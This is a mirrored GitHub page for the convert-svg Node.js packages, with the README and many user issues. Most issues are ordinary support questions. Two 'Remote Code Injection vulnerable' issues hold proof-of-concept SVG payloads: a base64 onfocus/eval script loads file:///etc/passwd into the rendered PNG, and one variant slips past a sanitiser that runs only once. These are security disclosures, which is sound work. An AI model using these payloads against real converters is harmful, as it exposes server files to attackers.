GithubHelp home page GithubHelp logo

neocotic / convert-svg Goto Github PK

View Code? Open in Web Editor NEW
189.0 3.0 41.0 6.43 MB

Node.js packages for converting SVG into other formats using headless Chromium

License: MIT License

JavaScript 100.00%
converter svg png jpeg javascript nodejs

convert-svg's Introduction

convert-svg

Build Status License Release

This monorepo contains the following Node.js packages that can convert a SVG into another format using headless Chromium:

The first two packages are core dependencies for SVG converters, which make up the remainder of the packages, trying to adhere to the following naming convention:

convert-svg-to-<FORMAT>

It works by using headless Chromium to take a screenshot of the SVG and outputs the buffer. This does mean that the supported output formats is limited to those supported by that the API for headless Chromium, however, as more formats are added, additional packages can easily be created.

Each of the SVG converters will share a common API and CLI with the same options, however, some converters may come with additional options specific for their output format.

Click on the links above for the SVG converters for more information on how to install, use, and even contribute to them.

License

Copyright © 2022 neocotic

See LICENSE.md for more information on our MIT license.

convert-svg's People

Contributors

leblanc-simon avatar neocotic avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

convert-svg's Issues

Add CLI & convertFile method to API

We would like to add a simple CLI that allows one or more SVG files to be converted to PNG files.

Nothing fancy, just enough to support the API from a CLI perspective.

Change source/target terminology to input/output

A minor change, but I want to change all uses of "source" and "target" to "input" and "output" respectively. Given the name of the package, it's clear what the input/output is, but with the addition of file conversion being added by #2, the existing source/target terminology can get a little confusing.

Support macOS with M1

Running this on a M1 Mac produces:

❯ npm exec convert-svg-to-png file.svg
convert-svg-to-png failed: Error: spawn Unknown system error -86
at ChildProcess.spawn (node:internal/child_process:413:11)
at Object.spawn (node:child_process:700:9)
at Launcher.launch (/Users/user/Desktop/tmp/node_modules/puppeteer/lib/Launcher.js:132:40)
at async Converter.[getPage] (/Users/user/Desktop/tmp/node_modules/convert-svg-core/src/Converter.js:273:24)
at async Converter.[convert] (/Users/user/Desktop/tmp/node_modules/convert-svg-core/src/Converter.js:205:18)
at async Converter.convertFile (/Users/user/Desktop/tmp/node_modules/convert-svg-core/src/Converter.js:148:20)
at async CLI.[convertFiles] (/Users/user/Desktop/tmp/node_modules/convert-svg-core/src/CLI.js:198:30)
at async CLI.parse (/Users/user/Desktop/tmp/node_modules/convert-svg-core/src/CLI.js:172:9)
at async /Users/user/Desktop/tmp/node_modules/convert-svg-to-png/bin/convert-svg-to-png:35:5

Chromium revision is not downloaded

I have been trying to use the svg-to-png version of the converter on the nodeJS platform and the module was firing the error below:

UnhandledPromiseRejectionWarning: Error: Chromium revision is not downloaded. Run "npm install" or "yarn install"

So after the frustrating search of a few hours I managed to resolve the issue with the following addition to the convert function

executablePath: './node_modules/puppeteer/.local-chromium/win64-686378/chrome-win/chrome.exe'

The issue there is, chromium instance could not be found by the module thus it is throwing the error no matter what you do. After installing the module, get the path of your chrome.exe instance just like I did above. And add it to your puppeteer launch options like below:

const png = await convert(string, { width: parseInt(request.params.width || 500, 10), puppeteer: { args: ['--no-sandbox', '--disable-setuid-sandbox'], executablePath: './node_modules/puppeteer/.local-chromium/win64-686378/chrome-win/chrome.exe' } });

This shall resolve the issue.
I hope that saves time for the ones that look to find an answer to this error.

Improve test framework

The current test setup includes a lot of repetition. While this does ensure that the code is thoroughly tested, it would be good to reduce some of this repetition in order to speed up the build process.

Initially, I think a lot could be said for adding more structure to the test descriptors. I'd especially like to separate tests for convert methods with tests for convertFile.

We also need to add tests for the CLI. I think these should also be kept separate from the API methods so that we can fine grain the tests to target the CLI. We need to cover all 3 flows for the CLI as well (i.e. files, STDIN -> STDOUT, STDIN -> filename), but we should be able to reuse the same tests. All options should be covered by these tests. The CWD should be set based on whether or not the test is "core" (i.e. defined in convert-svg-test-helper).

For example;

{
  "api": {
    "convert": {
      "failure": [
        {
          "name": "...",
          "file": "...",
          "options": {},
          "message": "..."
        }
      ],
      "success": [
        {
          "name": "...",
          "file": "...",
          "options": {},
          "message": "..."
        }
      ]
    },
    "convertFile": {
      "failure": [
        {
          "name": "...",
          "file": "...",
          "options": {},
          "message": "..."
        }
      ],
      "success": [
        {
          "name": "...",
          "file": "...",
          "options": {},
          "message": "..."
        }
      ]
    }
  },
  "cli": {
    "failure": [
      {
        "name": "...",
        "args": [],
        "file": "...",
        "stdin": false,
        "stdout": false,
        "message": ""
      }
    ],
    "success": [
      {
        "name": "...",
        "args": [],
        "file": "...",
        "stdin": false,
        "stdout": false,
        "message": ""
      }
    ]
  }
}

It might also be good to only run a specified number of success and/or failure tests against the methods on API, since this is much slower than those on Converter (as these tests share an Converter instance which avoids lots of Chromium instances being created and destroyed).

I realize that these changes might make the JSON a bit more noisy, but it should make it easier to manage. We could even consider splitting the above into multiple files, if it would help.

I'm not sure if it should fall under this issue, but I'd also like to replace our fixture images to some created by us. I'm not sure about the origin of these images, to be honest, as I took them from svg2png which was my inspiration for the original convert-svg-to-png package, released under WTFPL. Since these are technically published by convert-svg-test-helper, however, I'd feel more comfortable owning them. The standard.svg is an exception, which I grant permission to use, however, even then I would like to use completely impartial images that serve the unique purpose of testing these packages.

Convert SVG buffer to PNG buffer?

Question more than issue: I'm trying to post a PNG to AWS S3 without writing locally, AWS accepts buffers and that's what I thought convert outputs. However, when I use convert and then try to PUT the resulting object into AWS, I get an error indicating that it's not a buffer? Expected params.Body to be a string, Buffer, Stream, Blob, or typed array object

var body = new Buffer(svgString);
const Converter = require('convert-svg-to-png');
const png = Converter.convert(body, {height:600},{width:600});

Am I using convert wrongly?

Instance of puppeteer

Is it possible to create a way to pass not only puppeteer parameters but also an instance of puppeteer? Or maybe even just a page that is closed afterwards?

In projects where a Puppeteer instance is used, this would save resources and time in generating images.

Thank you for your help.

Fonts are not applied in resulting PNG

I'm using this lib to convert an SVG string to a PNG. My SVG includes a google font, which is imported in its style tag.

On the SVG, the font is properly applied. Unfortunately, after using the convert method, it gets back to standard browser font.

Is there anything to add to keep styling in place ?

Here's my piece of code for converting:

		// get my SVG
        .then((html) => {
          return html.toString()
        })
        .then(htmlString => convert(htmlString))
        .then((productText) => {
          res.set('Content-Type', 'image/png');
          res.send(productText);
        })

Overall width of Text "IIIIIIIIIIII" in png of svg doesn't match Chrome desktop Version 69.0.3497.100 (Official Build) (64-bit)

I'm struggling with an svg with a line of text in a roboto font taken more width in a png of an svg using this library compared to showing the svg within normal chrome desktop version. same issue on windows and mac.

<text class="_1601ee__text-static_noselect" id="Hy2vHgBtX-Roboto-text" letter-spacing="1" x="144.5" y="46.512" fill="black" fill-opacity="1" text-anchor="start" font-family="Roboto" font-size="60" font-weight="400" visibility="visible" style="opacity: 1; fill: rgb(0, 0, 0); fill-opacity: 1; stroke: rgb(0, 0, 0); stroke-width: 1;"><tspan id="Roboto-0">IIIIIIIIIIIIIIIIII</tspan></text>

any suggestions appreciated. i'm not using any clever svg attributes. i'm loading the correct font. i'm using a font weight which the font file states is correct.

Adding fonts

I know I can include fonts inside SVG but what if I prefer to install the fonts ? How can I do that ?
Do I need to install the fonts on the system ? on chromium ? inside the module ?

Thank you for your help

Chinese and special characters

Hi all

I was trying to use your module and it's very convenient and easy to use, but I can't seem to make it work with special characters such as
作為以下歌曲的投資人,持有該上市歌曲的股票:
or

Do you have any idea ?

Loading external fonts

Hey,
First thing, thanks for all the fish!
What would be the most straight forward way to load fonts and make sure they arrive before converting?

Concurrent builds appear to fail on CI

While trying to release 0.5.0 I noticed that builds were failing randomly. When I configured Travis to limit concurrent jobs to 1 (i.e. single job at a time), this appeared to fix the issue. However, I'd like to investigate why this was happening and if/how it can be prevented while supporting concurrent builds again.

Not running on Google Cloud Functions

I'm trying to run this on Google Cloud Functions and it's not working. I get the following error:

Error Error: Failed to launch chrome! [0920/161236.165262:ERROR:zygote_host_impl_linux.cc(89)] Running as root without --no-sandbox is not supported. See https://crbug.com/638180. TROUBLESHOOTING: https://github.com/GoogleChrome/puppeteer/blob/master/docs/troubleshooting.md

And I did try passing the '--no-sandbox' arg using:

const png = await convert(canvas.svg(), {
	headless: true,
	args: ['--no-sandbox']
})

But I still get the same error. Anyone know what the issue is?

For what it's worth, I am running pupeteer on its own in another Cloud Function and that is working fine.

Output Filename

Is possible, using cli, to add on the output filename some value?
An example:
I've an SVG called image.svg. I want convert it in different sizes png 512x512, 256x256 and so on. I want my output file to have as name [email protected], [email protected] and so on.
This is what I'm actually doing:

  "scripts": {
    "convert_512": "convert-svg-to-png --width 512 --height 512 --filename *@512.png ./*.svg",
    "convert_256": "convert-svg-to-png --width 256 --height 256 --filename *@256.png ./*.svg",
...

Can you provide a --puppeteer <json> example?

Hi,
I am trying to use this library in a microsoft/azure-functions-dotnet-core2.0 container image, so far I've succesfully installed it.
First I tried to do a converison but ran into trouble cause chromium can not run headless as root.
convert-svg-to-png failed: Error: Failed to launch chrome! [0730/161337.663797:ERROR:zygote_host_impl_linux.cc(89)] Running as root without --no-sandbox is not supported. See https://crbug.com/638180.

so I created another user and ran it

convert-svg-to-png failed: Error: Failed to launch chrome! [0730/161438.511709:FATAL:zygote_host_impl_linux.cc(116)] No usable sandbox! Update your kernel or see https://chromium.googlesource.com/chromium/src/+/master/docs/linux_suid_sandbox_development.md for more information on developing with the SUID sandbox. If you want to live dangerously and need an immediate workaround, you can try using --no-sandbox.

so I'm trying to run using the --puppeteer option, like so
convert-svg-to-png --puppeteer '{ "args": "[--no-sandbox]" }' svg1.svg
but running into this
convert-svg-to-png failed: TypeError: options.args.some is not a function

so I'm wondering what is the correct way to use it.
Thanks!

Fix test that breaks on CI

While running builds for 0.5.0 I noticed that one of the tests for the media-queries.svg fixture was failing, but only for PNG output and only on CI. Annoyingly, it was working fine locally for Node.js v8, v10, and v11, however, the CI job for Node.js v8 was the only one passing.

Tests for this fixture have been skipped for now as a temporary measure, however, I'd like to avoid doing this for obvious reasons and investigate the root cause.

I might see if I can spin up a Ubuntu Trusty (the version used by Travis) VM locally and try to replicate there as I'm on Ubuntu Cosmic and cannot replicate. I haven't tried in any other OS' though.

Can't run in loop quickly, fails to open chrome eventually

Error:

(node:31891) UnhandledPromiseRejectionWarning: Error: Failed to launch chrome!


TROUBLESHOOTING: https://github.com/GoogleChrome/puppeteer/blob/master/docs/troubleshooting.md

    at onClose (/Users/johnshankman/Documents/rpunks/radioactive-punks/node_modules/puppeteer/lib/Launcher.js:348:14)
    at Interface.<anonymous> (/Users/johnshankman/Documents/rpunks/radioactive-punks/node_modules/puppeteer/lib/Launcher.js:337:50)
    at Interface.emit (events.js:412:35)
    at Interface.close (readline.js:530:8)
    at Socket.onend (readline.js:254:10)
    at Socket.emit (events.js:412:35)
    at endReadableNT (internal/streams/readable.js:1334:12)
    at processTicksAndRejections (internal/process/task_queues.js:82:21)
(Use `node --trace-warnings ...` to show where the warning was created)
(node:31891) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). To terminate the node process on unhandled promise rejection, use the CLI flag `--unhandled-rejections=strict` (see https://nodejs.org/api/cli.html#cli_unhandled_rejections_mode). (rejection id: 1)
(node:31891) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.

Setup:

Create a for loop that does this over and over again.

const png = await convert(someSvgString, {
    height: 500,
    width: 500
  })

TimeoutError: Navigation Timeout Exceeded: 30000ms exceeded

I found out that busy build machines running conversion experience puppeteer error:
TimeoutError: Navigation Timeout Exceeded: 30000ms exceeded

It originates from this line:
await this[_page].goto(fileUrl(tempFile.path));

As this is this uses browser just for rendering, not networking, it seems appropriate fix would be to configure page timeouts (as only page objects allow that):

    if (!this[_browser]) {
      this[_browser] = await puppeteer.launch(this[_options].puppeteer);
      this[_page] = await this[_browser].newPage();
    }

->

    if (!this[_browser]) {
      this[_browser] = await puppeteer.launch(this[_options].puppeteer);
      this[_page] = await this[_browser].newPage();
      this[_page].setDefaultTimeout(0); // Disabled timeout
    }

Remote Code Injection vulnerable

Affected versions of this package are vulnerable to Remote Code Injection. Using a specially crafted SVG file, an attacker could read arbitrary files from the file system and then show the file content as a converted PNG file.
image

I've tested on 0.6.2 version at the latest version. I've saw that the code patched with removing "onload" attribute at svg tag. But that was not enough to prevent script execution.

I bypass it with "onfocus" attribute with "autofocus" attribute on svg tag. And with many other svg tags for waiting execution of scripts that assigned in onfocus attribute.

Payload

const { convert } = require("convert-svg-to-png");
const express = require("express");

const fileSvg = `
<svg src=x tabindex=0 onfocus=eval(atob(this.id)) id=ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs= autofocus>
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
`;

const app = express();
app.get("/poc", async (req, res) => {
  try {
    const png = await convert(fileSvg);
    res.set("Content-Type", "image/png");
    res.send(png);
  } catch (e) {
    res.send("");
  }
});
app.listen(3000, () => {
  console.log("started");
});

I checked on the latest version.
image

Latest version on NPM
image

Could this package be split up?

Yes, this package is quite small considering what it does. However, I'm wondering if the majority of the code could be moved to a core package that allowed SVG's to be converted to other formats using puppeteer. Those formats would be limited to those supported by puppeteer, but it would allow the such packages to be easily created and maintained.

Currently, puppeteer only supports the png and jpeg formats for screenshots, but this could possibly change in the future. It would be nice to easily create more packages for such formats.

Alternatively, this package could be repurposed to allow conversion to any format that puppeteer supports, however, I have mixed feelings about this so would be interested to hear peoples thoughts.

Bump puppeteer to v0.13.0

puppeteer v0.13.0 has been released so I would like to update our version on convert-svg-core to match. Nothing major, but I did see some enhancements/fixes relating to screenshot capturing that could possibly benefit us. Worth keeping up-to-date regardless.

Error thrown as context is lost for API methods when using destructuring imports

Destructuring imports (which is used in our examples) don't work:

const { createConverter } = require('convert-svg-to-png');
//=> TypeError: Cannot read property 'provider' of undefined

I believe the easiest fix might possibly be to ensure that all public methods in the API class are bound on initialization. Not the tidiest fix, but it should work. Need to get this in ASAP.

SVG path to PNG

Hey,
I'm getting some SVG path string from a user. How can I convert it to PNG using this package? How should it be formatted?

Remote Code Injection vulnerable

Affected versions of this package are vulnerable to Remote Code Injection. Using a specially crafted SVG file, an attacker could read arbitrary files from the file system and then show the file content as a converted PNG file.

poc

Add option to control background color

Currently, the transparent areas of the SVG are output as transparent in the PNG output, however, it would be nice to be able to control this via a background option. When specified, the value will be used as inserted as the value for the background-color CSS property on the boilerplate HTML and the omitBackground puppeteer screenshot option will be disabled. I'm hoping that this will be enough to support this functionality, if not, we should attempt to find another means of doing so.

To clarify; this is only to control the background color used for transparent sections of the SVG and is not intended to be used to override the background color of the SVG itself, for now, at least.

This option should be available via the API and CLI.

Is the temporary file avoidable?

The current conversion is process is as follows:

  1. Create browser instance
  2. Open browser page
  3. Write HTML boilerplate (which includes base URL) that includes SVG to temporary file
  4. Navigate browser page to temporary file
  5. Derive SVG dimensions
  6. Capture screenshot of page as PNG

Steps 1 & 2 are only performed the first time Converter#convert is called for that instance and step 5 is only performed if the width and/or height options are omitted.

The reason that we need the temporary file is to support external links (e.g. when one SVG file references another file). Without this step, such references fail to load. I believe the default page URL is chrome://newtab, which is why it fails to load URLs via the file protocol.

Ideally, I would like to be able to simply tell the browser what the base URL is and write the SVG directly to the page, however, puppeteer doesn't appear to allow that, for now, at least. That said, I would still like to try and avoid the need for a temporary file to be used. One thing I have in mind is first bundling the HTML boilerplate within the package as an HTML file and changing the process as follows:

  1. Create browser instance
  2. Open browser page
  3. Navigate browser to bundled HTML page
  4. Modify DOM to use correct base URL and insert SVG
  5. Derive SVG dimensions
  6. Capture screenshot of page as PNG

It still requires the same amount of steps, but I'm hoping it will be faster. Of course, this would need to be checked and benchmarked. I'm even wondering if we could then create (and destroy) a new browser page (tab) for each conversion process to allow for parallel conversion using a single Converter instance. Again, this would need to be confirmed as I'm not sure how puppeteer behaves when you destroy the last page and it could act too great a resource hog.

Remove all controllable short options for CLI

Currently, the following options are supported by the CLI:

-V, --version              output the version number
--no-color                 disables color output
-b, --base-url <url>       specify base URL to use for all relative URLs in SVG
-f, --filename <filename>  specify filename the for PNG output when processing STDIN
--height <value>           specify height for PNG
--scale <value>            specify scale to apply to dimensions [1]
--width <value>            specify width for PNG
-h, --help                 output usage information

To be future-proof and avoid confusion when adding more options (see #14), we should remove all short options within our control. This includes the following:

  • -b
  • -f

These will still be accessible via their long options (i.e. --base-url and --filename respectively), however, the short options will no longer work.

Obviously, this will be a breaking change.

Wrong text generation with large embedded image

Hi,

Thanks for making this awesome library!
I have a problem when I generate png from my svg if it contains large base64 encoded images.
The special characters in the text are not well rendered (it works without the images)

The text should look like that
test-ok

but it is rendered like that
test-ko

You have test-ok.svg and test-ko.svg in the following zip file
test.zip

Can you help me tro resolve the problem?

Thanks

Saved Image's Dimensions Are Wrong for mm-Based Svgs

When using SVGs that use mm as width/height values (such as <svg width="10mm" height="10mm">...</svg>), the saved image is too small and the SVG is cropped.

The issue is in the Converter._getDimensions method - basically: If you don't want to start doing a lot of calculations, reading the width/height/viewbox attribute of the SVG element will only work well in a few cases.

What I found a convenient workaround was just using Chrome's calculated dimensions, roughly:

const svg = document.querySelector('svg');
const computedStyles = getComputedStyles(svg);
// Remove the 'px' from the string
let widthInPx = computedStyles.width.substring(0, computedStyles.width.length - 2);
widthInPx = parseFloat(widthInPx);

Remote Code Injection vulnerable

I found the issue from version 0.6.3.
The issue is that it sanitizes svg tag only once time.
so I add another svg tag which is <svg/> before the original payload that I used before.

const { convert } = require("convert-svg-to-png");
const express = require("express");

const fileSvg = `
<svg/>
<svg height=100 src=x tabindex=0 onfocus=eval(atob(this.id)) id=ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs= autofocus>
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
`;

const app = express();
app.get("/poc", async (req, res) => {
  try {
    const png = await convert(fileSvg);
    res.set("Content-Type", "image/png");
    res.send(png);
  } catch (e) {
    res.send("");
  }
});
app.listen(3000, () => {
  console.log("started");
});

It's still vulnerable to remote code injection with directory traversal vulnerability.

Expose Converter class as primary export

Currently, importing this package provides access to the following methods:

  • convert
  • convertFile (as of #2)
  • createConverter

The version property is also exposed.

I would like to simplify this further by simply directly exporting the Converter class and move the above methods to static methods on the Converter class. The createConverter method would become redundant, however, it will continue to be used by the static methods as it can be stubbed for unit testing purposes and I'm not sure how easy it is to stub constructors themselves.

The version property is also exposed, which I'd like to make a static constant on the Converter class. Since 0.2.0 will already include a breaking change (#4), I'll take this opportunity to rename this property to VERSION.

This should hopefully simplify the API even further.

convert-svg-to-png options do not override fixed SVG size

To ensure that SVG rendered correctly, I tried using w3 provided samples:
https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/

But seems that fixed size SVGs do not resize, like this one:
https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/Test.svg

convertFile() with options did produce specified dimensions PNG image, but SVG graphic was left in top-left corner in original size. Small dimensions just crops graphic.

This can be worked around by using non-fixed size SVGs, but is unexpected generally.

Detecting errors during resource load

Hi - I've been looking at switching to this library from one that uses an older PhantomJS, but noticed that it doesn't seem to handle resource load errors at all.

For example:

An SVG containing an inner <image /> tag, and the image fails to load, with perhaps a 404, or a 500 response (because something is going to fail eventually). Currently that results in a render of Chrome's lovely "broken image" icon, scaled up to whatever dimensions the SVG defined. - like this:
image

In PhantomJS, it was easy to detect by monitoring onResourceReceived similar to this:

    page.onResourceReceived = function (response) {
      if (response.status >= 400) {
        console.error("Error during retrieval of " + response.url);
        phantom.exit()
        return;
      }
    }

I'm open to looking into helping to add this functionality, but would be curious whether you have a preferred approach. (e.g. An option to failOnResourceError, or the making it the default behavior, or something else)

It's not immediately obvious whether Puppeteer exposes enough information to determine a failure on something like this, but it looks like request.failure() might be the first place to start. Or also perhaps the requestFailed event on Page

chromium dependency

I've been trying to use this package, however it keeps giving me the error about chromium revision not being downloaded. i've seen the issue opened (& closed) by CeamKrier, however i'd prefer to not use puppeteer just for this. i've tried searching for the dependency myself, and i have downloaded a couple, but it didn't help. i also tried looking at the dependencies on npm, but again, nothing of use was there. also running "npm install" didn't help either. can you specify which npm package needs to be downloaded, please?

width/height derived from viewport sometimes results in cropped png image

When converting an svg to png without providing width/height, or when providing only width (for example), the resulting image can sometimes be cropped.

I think this happens when the viewport dimensions in the svg file have decimals.
If the decimal is low enough, the resulting dimensions will be rounded down instead of up, causing the resulting image to be cropped.
It is especially noticable on images with a thin outer border, since the border may be completely cut off on the bottom or the right side of the image.

Edit:
This section of the code in Converter.js causes it:

    await page.setViewport({
      height: Math.round(dimensions.height),
      width: Math.round(dimensions.width)
    });

    const output = await page.screenshot(Object.assign({
      type: provider.getType(),
      clip: Object.assign({ x: 0, y: 0 }, dimensions)
    }, provider.getScreenshotOptions(options)));

This will fix it:

    dimensions.height = Math.ceil(dimensions.height);
    dimensions.width = Math.ceil(dimensions.width);

    await page.setViewport({
      height: dimensions.height,
      width: dimensions.width
    });

    const output = await page.screenshot(Object.assign({
      type: provider.getType(),
      clip: Object.assign({ x: 0, y: 0 }, dimensions)
    }, provider.getScreenshotOptions(options)));

CLI option "quality" for the "convert-svg-to-jpeg" does not work

The package convert-svg-to-jpeg has incorrect CLI settings for the quality argument option.

Error example:

$ convert-svg-to-jpeg --quality 70 --width 2000 --height 2600  tmp/test2.svg
convert-svg-to-jpeg failed: Error: Expected options.quality to be a number but found string

It seems that method getCLIOptions of the JPEGProvider class doesn't return correct values.
I think that instead of

  getCLIOptions() {
    return [
      {
        flags: '--quality <value>',
        description: `specify quality for ${this.getFormat()} [100]`,
        parseInt
      }
    ];
  }

it should be

  getCLIOptions() {
    return [
      {
        flags: '--quality <value>',
        description: `specify quality for ${this.getFormat()} [100]`,
        transformer: parseInt
      }
    ];
  }

Add scale option

I'd love to scale all generated images to be 2x the resolution in the SVG.

Issue trying to consume png output on the client

Hi, I'm having an issue trying to consume the output of convert on the client. I'm trying to create a blob and download it, but the result seems to be a file that can't be opened. I've also tried to get a url from the blob and set it as an img.src, but also no luck. Maybe I'm not creating the blob correctly? Any help is appreciated!!

Client:

async function saveChart() {
// convertSvgToPng POSTs the data to the /convert route and returns the data received 
    const pngData = await convertSvgToPng(
      document.getElementById(title).outerHTML
    )
    const blob = new Blob([pngData], { type: 'image/png' })
    saveAs(blob, `${title}.png`)
  }

Server:

import { convert } from 'convert-svg-to-png'

router.post(
  '/convert',
  wrap(async (req, res) => {
    const png = await convert(req.body.svg)

    res.set('Content-Type', 'image/png')
    return res.send(png)
  })
)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

